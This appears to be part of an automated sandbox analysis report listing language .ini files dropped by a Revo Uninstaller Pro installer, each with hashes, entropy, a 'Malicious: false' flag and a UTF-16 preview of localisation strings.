File Type:	Unicode text, UTF-16, little-endian text, with very long lines (601), with CRLF line terminators
Category:	dropped
Size (bytes):	107284
Entropy (8bit):	3.4850832386228205
Encrypted:	false
SSDEEP:	3072:LqsTLW4zJl0dBdBN86bz6M+fnZPjJPvY/:WIq
MD5:	6D908FC7ABF104D6F8D6DE6741DBD279
SHA1:	3771939E5D0F6DE53F1E07691DCB2A4AC70041F2
SHA-256:	3A99D61A738A7CF3D80581B731FF9070F31CBFB046EC9DE7CBC5C06B76EFA89D
SHA-512:	1A75B6FDB923281FF66EC33E3872F27BF3E928006D18D6C987951AE4AC02CC06DBF15CDBEF15B94152698FCB1E0DF1D85A7BE7DF73D72C9E83B23D049E182ECF
Malicious:	false
Preview:	..;.D.o.k.u.m.e.n.t.i. .i. .g.j.u.h.e.s. .i. .R.e.v.o. .U.n.i.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....;.T.r.a.n.s.l.a.t.e.d. .b.y. .K.l.a.u.s. .V.e.l.i.u.....;.C.o.n.t.a.c.t. .k.l.a.u.s.v.e.l.i.u.@.h.o.t.m.a.i.l...c.o.m.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .S.h.q.i.p./.A.l.b.a.n.i.a.n.....W.e.b.L.a.n.g.=.A.L.....T.r.a.n.s.l.a.t.o.r.=.K.l.a.u.s. .V.e.l.i.u. .e.-.m.a.i.l.:. .k.l.a.u.s.v.e.l.i.u.@.h.o.t.m.a.i.l...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.3...0...8.............[...i.n.s.t.a.l.u.e.s.i. .T.o.o.l.b.a.r.].....1.0.2. .=. .P.a.m.j.a.....1.0.3. .=. .O.p.s.i.o.n.e.t.....1.0.4. .=. ...i.n.s.t.a.l.u.e.s.i.....1.0.5. .=. .M.j.e.t.e.t.....1.0.6. .=. .M.e.n.y.r.a. .e. .g.j.u.e.t.a.r.i.t.....1.0.7. .=. .M.e. .l.i.s.t.i.m.....1.0.8. .=. .M.e. .i.n.k.o.n.a.....1.0.9. .=. .M.e. .d.e.t.a.j.e.....1.1.0. .=. ...i.n.s.t.a.l.o.....1.1.1. .=. .H.i.q. .s.h.e.n.i.m.i.n.....1.1.2. .=. .R.i.f.r.e.s.k.o.....1.1.3. .=. .J.e.n.i.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\arabic.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (608), with CRLF line terminators
Category:	dropped
Size (bytes):	116810
Entropy (8bit):	3.9166739452051953
Encrypted:	false
SSDEEP:	768:lo/tNe5HzHBOyv7EyqyYjNE7TA4s32rELViqKcc+QTMsUbpUpTk+e7WiBYMUZAj3:tqAEFycUTALVeLKSu+Y9v0OQQERYJ
MD5:	74FBABDEFEF9CEA6BE1B41CAF6941C15
SHA1:	FE53FEA79D8B382B6B4915E42FC6C0C7B0D6EBAC
SHA-256:	A42CBA216AABAAF3272FA6715D16543CDB9F9C008C3F82520DE74F2BB5BCD3A4
SHA-512:	2760A317C6BE76291D94687E3E53AD28FF748338A49DBD381BD386FF798AFFFD09301DF5D81087D744F8773C736E4B19F4397794B555CB096B585B2DF9155062
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .9.1.(.J./.A.r.a.b.i.c.....W.e.b.L.a.n.g.=.A.R.J.....T.r.a.n.s.l.a.t.o.r.=.V.S. .R.e.v.o. .G.r.o.u.p.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...1...7.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .9.1.6.....1.0.3. .=. ...J.'.1.'......1.0.4. .=. .'.D.:.'.!. .'.D..+.(.J......1.0.5. .=. .'.D.'./.H.'......1.0.6. .=. .H.6.9. .'.D.5.J.'./.....1.0.7. .=. .B.'.&.E.).....1.0.8. .=. .'.J.B.H.F.'......1.0.9. .=. .'.D..A.'.5.J.D.....1.1.0. .=. .'.D.:.'.!. .'.D..+.(.J......1.1.1. .=. .'.2.'.D.). .'.D./...H.D.....1.1.2. .=. .'.F.9.'.4.....1.1.3. .=. .G.D. .'.F.. .E..'.C./. .E.F. .'.F.C. ..1.J./. .'.2.'.D.). .'.D.'./...'.D. .'.D.E.-././.......1.1.4. .=. .G.D. .'.F.. .E..'.C./. .E.F. .'.F.C. ..1.J./. .'.D.:.'.!. ..+.(.J.. .'.D.(.1.F.'.E.,. .'.D.E.-././.......1.1.5. .

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\armenian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (315), with CRLF line terminators
Category:	dropped
Size (bytes):	52512
Entropy (8bit):	4.15365900856631
Encrypted:	false
SSDEEP:	768:FoBtEKBHU2OaI3Ky4XDv8VCdzNqyqZSD57LT+:zKBH2a2Ky4T8UzNqyqZA57LT+
MD5:	7B8792AD9FED507599886F0D35F18D88
SHA1:	81B30BFC236BE7A9CC117DE9A51E2AE9D3CD0264
SHA-256:	D594C865D9406920BEBF955D60D28B687A261B52299ED39DFE9E68386BFE1C7F
SHA-512:	18FE03947DDC9669054DA659AD4AE6A4D6B2C71283376C0E63084C309CA17431899F3355E342DA28B079C771061BC29CD42AE8369B3270F2215469A880EF4DAA
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.@.a.u.e...e.v./.A.r.m.e.n.i.a.n.....W.e.b.L.a.n.g.=.a.r.m.....T.r.a.n.s.l.a.t.o.r.=.H.r.a.n.t. .O.h.a.n.y.a.n. ....... .h.r.a.n.t.o.h.a.n.y.a.n.@.m.a.i.l...a.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.2...5...9.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .O.e.}...h.....1.0.3. .=. .?.a...c.a.~.x...x...t.v.e.......1.0.4. .=. .K.v.{.k.y.....1.0.5. .=. .3.x...n.k...v.e.......1.0.6. .=. .H.P.M.....1.0.7. .=. .Q.a.v.o.h.....1.0.8. .=. .J.a...o.e...v.e.......1.0.9. .=. .D.a.v...a.t.a.}.v.....1.1.0. .=. .K.v.{.e.l.....1.1.1. .=. .K.v.{.e.l. ...a.u.l.h.....1.1.2. .=. .9.a...t.a...v.e.l.....1.1.3. .=. .K.v.{.e.^.l. .h.v.....~.a.n. .n...a.c...e...h.:.....1.1.4. .=. .K.v.{.e.^.l. .h.v.....~.a.n. .n...a.c.k...h.:.....1.1.5. .=. .;.v...v.a.i.a...t.a...x...t.....1.1.6. .=. .U.c.v.x...i.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\azerbaijani.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (689), with CRLF line terminators
Category:	dropped
Size (bytes):	137338
Entropy (8bit):	3.822072970240457
Encrypted:	false
SSDEEP:	1536:6DZ2mE0Dzcyamtkk64nvy9w+gIybiSqamOsfYFyF7F5gZOgNyspNiF:6DZ2mE0FamtmmvyNSqam1YMFU7NyspoF
MD5:	053CBEB9CABDE4426AEED59F89415AA7
SHA1:	EAE9139D7A15A35D08DB7BBD138130C661D1B651
SHA-256:	82803769AC1663397AC87CE234B0F8C4640CDF8CACEC8FBDC4C02A0ECA1305E7
SHA-512:	221579B06BE0FAF79AA9EC63E1A217E8052A87306B0FB4B9377276AFA8DD70C6585C284F2485D947B06063DB7832A89BAF174DA1C361CFAD93EFCB2100A417C8
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e. .=. .A.z.Y.r.b.a.y.c.a.n.c.a./.A.z.e.r.b.a.i.j.a.n.i.....W.e.b.L.a.n.g. .=. .A.Z.....T.r.a.n.s.l.a.t.o.r. .=. .M.a.h.i.r. .H.u.s.e.y.n.o.v. .(.u.r.o.b.o.r.o.s.1.3.0.8.7.5.@.g.m.a.i.l...c.o.m.). .....C.o.d.e.p.a.g.e. .=. .U.N.I.C.O.D.E. .....V.e.r.s.i.o.n. .=. .V.e.r.s.i.o.n.=.5...3...0.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .G...r...n.t.......1.0.3. .=. .A.y.a.r.l.a.r.....1.0.4. .=. .P.r.o.q.r.a.m. .s.i.l.i.c.i.....1.0.5. .=. .A.l.Y.t.l.Y.r.....1.0.6. .=. .O.v...u. .r.e.j.i.m.i.....1.0.7. .=. .S.i.y.a.h.1.....1.0.8. .=. .0.k.o.n.l.a.r.....1.0.9. .=. .T.Y.f.Y.r.r...a.t.1. .i.l.Y.....1.1.0. .=. .S.i.l.....1.1.1. .=. .G.i.r.i._.i. .S.i.l.....1.1.2. .=. .Y.e.n.i.l.Y.....1.1.3. .=. .S.i.z. . .s.e...i.l.m.i._. .e.l.e.m.e.n.t.i. .s.i.l.m.Y.k. .i.s.t.Y.d.i.y.i.n.i.z.Y. .Y.m.i.n.s.i.n.i.z.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\bengali.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (739), with CRLF line terminators
Category:	dropped
Size (bytes):	134822
Entropy (8bit):	4.091712417960198
Encrypted:	false
SSDEEP:	1536:l0g0yS3dFm1917yvw3q7jcVbWcCCPH0iBTkH8NgP2Hb48m++UUaQ:t0yS3dFm6DcCNf
MD5:	8BA1BEBEA44A0ED3D19B41847BDF014F
SHA1:	BD02C23FA0D0BD122AC8E461FAAE8A2A17C223AC
SHA-256:	15E63CF0171687BA26DAFE79D9FDFEF857D737E6C1FA0E5938F35E22C3E2BC4E
SHA-512:	FEF7EBEFCBDC385C40CE3A05971A4C2E1F685C0E6D78A6282D731AC1CCC2068618A9E2E16CC5D0CAE15ED5A6AEECABB0C8B11804699BE16092BF7B4B9E52353C
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=........... ./.B.e.n.g.a.l.i.....W.e.b.L.a.n.g.=.B.N.....T.r.a.n.s.l.a.t.o.r.=.G.o.u.t.a.m. .R.o.y.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...............1.0.3. .=. .........................1.0.4. .=. .........................1.0.5. .=. .............1.0.6. .=. ............. ...........1.0.7. .=. .................1.0.8. .=. .....................1.0.9. .=. .......................1.1.0. .=. .....................1.1.1. .=. ............... ....... .............1.1.2. .=. .............1.1.3. .=. ......... ..... ............... ..... ......... ................... ............... ........... .......?.....1.1.4. .=. ......... ..... ............... ..... ......... ................... ................... ................. ...

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\bulgarian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (709), with CRLF line terminators
Category:	dropped
Size (bytes):	138458
Entropy (8bit):	3.886109011448417
Encrypted:	false
SSDEEP:	3072:qyA2Mkq69Ub7gEzBB3dm0bnx06m+O0wufPduvP4BoNpRwmwQKTlZJLTXYjABYV:ZMkczBBtm0bnx06m+O0wufVuvP4BoN3F
MD5:	3B7AF4F26FDED0678B85A50A616C7747
SHA1:	32EE9D746B29C05B9C8C11617C0051A59B0DA0FD
SHA-256:	8C2E75D77767DF1526DEE187771C97497E46BB06AA69B80A004D4746B0401B8B
SHA-512:	163ADDD03C30C53C12873B84D86B9A4D28AB39B57FC822B5F3477F6659236881DC7588BAC3D745B0E93A1248156691DA20785AF32E0EDECCD1C951A1CC5DACA1
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. ...J.;.3.0.@.A.:.8./.B.u.l.g.a.r.i.a.n. .....W.e.b.L.a.n.g.=.B.G.....T.r.a.n.s.l.a.t.o.r.=.V.S. .R.e.v.o. .G.r.o.u.p.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=.5...3...4.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...7.3.;.5.4.....1.0.3. .=. ...0.A.B.@.>.9.:.8.....1.0.4. .=. ...5.8.=.A.B.0.;.0.B.>.@.....1.0.5. .=. ...=.A.B.@.C.<.5.=.B.8.....1.0.6. .=. ...8.H.5.=.0.....1.0.7. .=. .!.?.8.A.J.:.....1.0.8. .=. ...:.>.=.8.....1.0.9. .=. ...5.B.0.9.;.8.....1.1.0. .=. ...5.8.=.A.B.0.;.8.@.0.9.....1.1.1. .=. ...@.5.<.0.E.=.8.....1.1.2. .=. ...?.@.5.A.=.8.....1.1.3. .=. .!.8.3.C.@.=.8. .;.8. .A.B.5.,.G.5. .8.A.:.0.B.5. .4.0. .8.7.B.@.8.5.B.5. .8.7.1.@.0.=.8.O. .5.;.5.<.5.=.B.?.....1.1.4. .=. .!.8.3.C.@.=.8. .;.8. .A.B.5.,.G.5. .8.A.:.0.B.5. .4.0. .4.5.8.=.A.B.0.;.8.@.0.B.5. .8.7.1.@.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\czech.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (659), with CRLF line terminators
Category:	dropped
Size (bytes):	126512
Entropy (8bit):	3.720605069842754
Encrypted:	false
SSDEEP:	1536:150RW5EH5DMXV53O2d/H+gzbtey7fvDMKd5Jpf+l9yNqaWcOIcHeG:150RW5AqXV53O2d/Hf1vDHv0ecv
MD5:	A1E4DAB88269A98C1EE4F4959E36A157
SHA1:	25F2491DE087F9C6F7D1B84E245658C19C167C91
SHA-256:	2C6EF86AF703BF0721025E58922BE5A780EC0AAC08DD479A88D467A87904D87C
SHA-512:	468508A84F689FF808A9B99BF9265D1F04FCDAEBFE798803023ED70E550835761C5A505F0BF66E78B578EA51FDECF2D2CDB4E5EAD7D7309EA3D4B01220572305
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.C.z.e.c.h.....W.e.b.L.a.n.g.=.c.z.....T.r.a.n.s.l.a.t.o.r.=.T.Y.a.s...k. .J.i.Y.......C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...2...5.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .Z.o.b.r.a.z.i.t.....1.0.3. .=. .N.a.s.t.a.v.e.n.......1.0.4. .=. .O.d.i.n.s.t.a.l...t.o.r.....1.0.5. .=. .N...s.t.r.o.j.e.....1.0.6. .=. .R.e.~.i.m. .l.o.v.c.e.....1.0.7. .=. .S.e.z.n.a.m.....1.0.8. .=. .I.k.o.n.y.....1.0.9. .=. .D.e.t.a.i.l.y.....1.1.0. .=. .O.d.i.n.s.t.a.l.o.v.a.t.....1.1.1. .=. .O.d.e.b.r.a.t. .p.o.l.o.~.k.u.....1.1.2. .=. .O.b.n.o.v.i.t.....1.1.3. .=. .O.p.r.a.v.d.u. .c.h.c.e.t.e. .o.d.e.b.r.a.t. .v.y.b.r.a.n.o.u. .p.o.l.o.~.k.u.?.....1.1.4. .=. .O.p.r.a.v.d.u. .c.h.c.e.t.e. .o.d.i.n.s.t.a.l.o.v.a.t. .v.y.b.r.a.n... .p.r.o.g.r.a.m.?.....1.1.5. .=. .A.u.t.o.a.k.t.u.a.l.i.z.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\danish.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (431), with CRLF line terminators
Category:	dropped
Size (bytes):	97176
Entropy (8bit):	3.499969901388738
Encrypted:	false
SSDEEP:	768:woFhvFocuFdycapmrOS9osFVrbmlEAicBDPGy0fr:hvFoc6dycaptSW0VrqlEAicBD+y+
MD5:	2B6C3675752D595B68E3E1C0A5992435
SHA1:	790F9E5297743509F2F5ACB575886935BB768EF4
SHA-256:	FA6449751FB82B79A1E4F071E5C20CF0DE86D015EDA9F0ABA347937A7F1394A2
SHA-512:	7F5DE4C53D39E69CBD69F27211BCA76FF7ADEB52BFFB4662136ACE6291B792D417FC9C4DEA67C1BD807788D03E427151B912E1A380D770FDEC50451D770D6BBE
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .D.a.n.s.k./.D.a.n.i.s.h.....W.e.b.L.a.n.g.=.D.A.N.....T.r.a.n.s.l.a.t.o.r.=.R.e.g.m.o.s.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.4...5...5.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.i.s.....1.0.3. .=. .I.n.d.s.t.i.l.l.i.n.g.e.r.....1.0.4. .=. .A.f.i.n.s.t.a.l.l.e.r.i.n.g.....1.0.5. .=. .V...r.k.t...j.....1.0.6. .=. .J.a.g.t.m.o.d.u.s.....1.0.7. .=. .L.i.s.t.e.....1.0.8. .=. .I.k.o.n.e.r.....1.0.9. .=. .D.e.t.a.l.j.e.r.....1.1.0. .=. .A.f.i.n.s.t.a.l.l...r.....1.1.1. .=. .F.j.e.r.n. .e.m.n.e.....1.1.2. .=. .O.p.d.a.t...r.....1.1.3. .=. .V.i.l. .d.u. .f.j.e.r.n.e. .d.e.t. .v.a.l.g.t.e. .e.m.n.e.?.....1.1.4. .=. .V.i.l. .d.u. .a.f.i.n.s.t.a.l.l.e.r.e. .d.e.t. .v.a.l.g.t.e. .p.r.o.g.r.a.m.?.....1.1.5. .=. .O.p.d.a.t.e.r.i.n.g.....1.1.6. .=. .H.j...l.p.....1.1.7. .=. .H.j...

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\dutch.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (788), with CRLF line terminators
Category:	dropped
Size (bytes):	136212
Entropy (8bit):	3.4484649128879137
Encrypted:	false
SSDEEP:	3072:YusdiMXLgWkkKnB9jGm9ROVjB5ZegxC9WFh88ff0hUWaFZDeleeDK/4I4E4L03hA:mIyXxG
MD5:	170AF0E2F66875D305D9A1B5C054869B
SHA1:	AEB176BE7A44F890269EE45E79D5999138CD3EC6
SHA-256:	78386718921BC10E739CD96216F97C5F41308302A7F299B59AD76CABD8523E82
SHA-512:	9FBE996119EDA876C7613F759CF2BE7C86F02A9D7F382AF3F51F4CECE696C898620DFC6E9540C3541532AB0C9AC82B01297DFE1CD428E2F3AE667F0C9A7C9E59
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .N.e.d.e.r.l.a.n.d.s./.D.u.t.c.h.....W.e.b.L.a.n.g.=.N.L.....T.r.a.n.s.l.a.t.o.r.=.J.a.n. .V.e.r.h.e.i.j.e.n.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .B.e.e.l.d.....1.0.3. .=. .O.p.t.i.e.s.....1.0.4. .=. .D.e.-.i.n.s.t.a.l.l.a.t.i.e.....1.0.5. .=. .H.u.l.p.p.r.o.g.r.a.m.m.a.'.s.....1.0.6. .=. .J.a.c.h.t.m.o.d.u.s.....1.0.7. .=. .L.i.j.s.t.....1.0.8. .=. .P.i.c.t.o.g.r.a.m.m.e.n.....1.0.9. .=. .D.e.t.a.i.l.s.....1.1.0. .=. .D.e.-.i.n.s.t.a.l.l.e.r.e.n.....1.1.1. .=. .I.t.e.m. .v.e.r.w.i.j.d.e.r.e.n.....1.1.2. .=. .V.e.r.n.i.e.u.w.e.n.....1.1.3. .=. .W.e.e.t. .u. .z.e.k.e.r. .d.a.t. .u. .d.i.t. .w.i.l.t. .v.e.r.w.i.j.d.e.r.e.n.?.....1.1.4. .=. .W.e.e.t. .u. .z.e.k.e.r. .d.a.t. .u. .h.e.t. .g.e.s.e.l.e.c.t.e.e.r.d.e. .p.r.o.g.r.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\english.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (667), with CRLF line terminators
Category:	dropped
Size (bytes):	126456
Entropy (8bit):	3.469932961281367
Encrypted:	false
SSDEEP:	1536:2G/KyyIrUp+ihmoqVl4hF7bPwlBB9YK3zZ1lvQ:2GiybrVCmoqVlcFvyB0Kji
MD5:	17CBDCF3F67B750D9E2CFB18DA7999E7
SHA1:	493D989BEBAED68D57FDF72660E3664EA42FD669
SHA-256:	5663AF4869A89B1576748A914B63DB89A79FF8374A920D288445E2D600449DCD
SHA-512:	2407C09A6997C15FAAD8E49C8332504F6100EF0470192235E08DC3E7D525984E5D96D2A595C846CE2A43885BDB680E2DD84D42A0F086902C5BF1216A3CCBD202
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.E.n.g.l.i.s.h.....W.e.b.L.a.n.g.=.E.N.G.....T.r.a.n.s.l.a.t.o.r.=.V.S. .R.e.v.o. .G.r.o.u.p.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.i.e.w.....1.0.3. .=. .O.p.t.i.o.n.s.....1.0.4. .=. .U.n.i.n.s.t.a.l.l.e.r.....1.0.5. .=. .T.o.o.l.s.....1.0.6. .=. .H.u.n.t.e.r. .M.o.d.e.....1.0.7. .=. .L.i.s.t.....1.0.8. .=. .I.c.o.n.s.....1.0.9. .=. .D.e.t.a.i.l.s.....1.1.0. .=. .U.n.i.n.s.t.a.l.l.....1.1.1. .=. .R.e.m.o.v.e. .E.n.t.r.y.....1.1.2. .=. .R.e.f.r.e.s.h.....1.1.3. .=. .A.r.e. .y.o.u. .s.u.r.e. .t.h.a.t. .y.o.u. .w.a.n.t. .t.o. .r.e.m.o.v.e. .t.h.e. .s.e.l.e.c.t.e.d. .e.n.t.r.y.?.....1.1.4. .=. .A.r.e. .y.o.u. .s.u.r.e. .y.o.u. .w.a.n.t. .t.o. .u.n.i.n.s.t.a.l.l. .t.h.e. .s.e.l.e.c.t.e.d. .p.r.o.g.r.a.m.?.....1.1.5.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\finnish.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	102574
Entropy (8bit):	3.4292555280223818
Encrypted:	false
SSDEEP:	1536:3BS3SpCVzylFGnh/QI2WCUHgG+d5d3cKE:3BS3SpCxuFGnh/uWCSgG+d5de
MD5:	A71E4B0F3A6135AEF662509B9745A3B9
SHA1:	B0199874CE7B88C391A17B27BBC44F5683B9DC8E
SHA-256:	A025E5A628208C16EA79694DD99AE311674BA66039E6D09E25F9E07972D0F055
SHA-512:	B542383514A9E341DFD2DAF4C8107D49CA98AFBB3D7BB81E9DCF03185BFE5C9935FCF9EEC90ED979C6DF734A60899BC249F2E1B7491A5966A3FB60DDC4EA3393
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.S.u.o.m.i./.F.i.n.n.i.s.h.....W.e.b.L.a.n.g.=.F.I.N.....T.r.a.n.s.l.a.t.o.r.=.O.l.l.i. .(.o.l.l.i.n.p.o.s.t.i.t.@.g.m.a.i.l...c.o.m.).....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.3...0...8.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .N...y.t.......1.0.3. .=. .A.s.e.t.u.k.s.e.t.....1.0.4. .=. .S.o.v.e.l.l.u.s.t.e.n. .p.o.i.s.t.o.....1.0.5. .=. .T.y...k.a.l.u.t.....1.0.6. .=. .O.s.o.i.t.u.s.t.o.i.m.i.n.t.o.....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. .K.u.v.a.k.k.e.e.t.....1.0.9. .=. .T.i.e.d.o.t.....1.1.0. .=. .P.o.i.s.t.a. .s.o.v.e.l.l.u.s.....1.1.1. .=. .P.o.i.s.t.a. .r.e.k.i.s.t.e.r.i.m.e.r.k.i.n.t.......1.1.2. .=. .P...i.v.i.t... .l.u.e.t.t.e.l.o.....1.1.3. .=. .O.l.e.t.k.o. .v.a.r.m.a.,. .e.t.t... .h.a.l.u.a.t. .p.o.i.s.t.a.a. .v.a.l.i.t.u.n. .r.e.k.i.s.t.e.r.i.m.e.r.k.i.n.n.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\french.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (642), with CRLF line terminators
Category:	dropped
Size (bytes):	152860
Entropy (8bit):	3.44749248104316
Encrypted:	false
SSDEEP:	768:joijwidVJir5Wz8dm4V2s7EaYRbuSzNDCnPzA4Ke515hQFbtjkw9TSePDYNBU31L:2gLirEz8dmQ7EaYRTgnPm7Z
MD5:	3231DDD2F82B85DB1CD869787928DD93
SHA1:	AA17C84A1228555DC351571FB85E442F92C27478
SHA-256:	3873A122E6E00D421913C8C85D2112C85DFBB28ABB408CB44D6DC9B56CC74CB8
SHA-512:	4C477FAEA63D96ABF792338070CC753EA5FBBA21E23DEEE496E085D6F5478672EA3A38B7B6286303BE3D28234CF3F94BEAB9A64918A658365DE2626E861DB43B
Malicious:	false
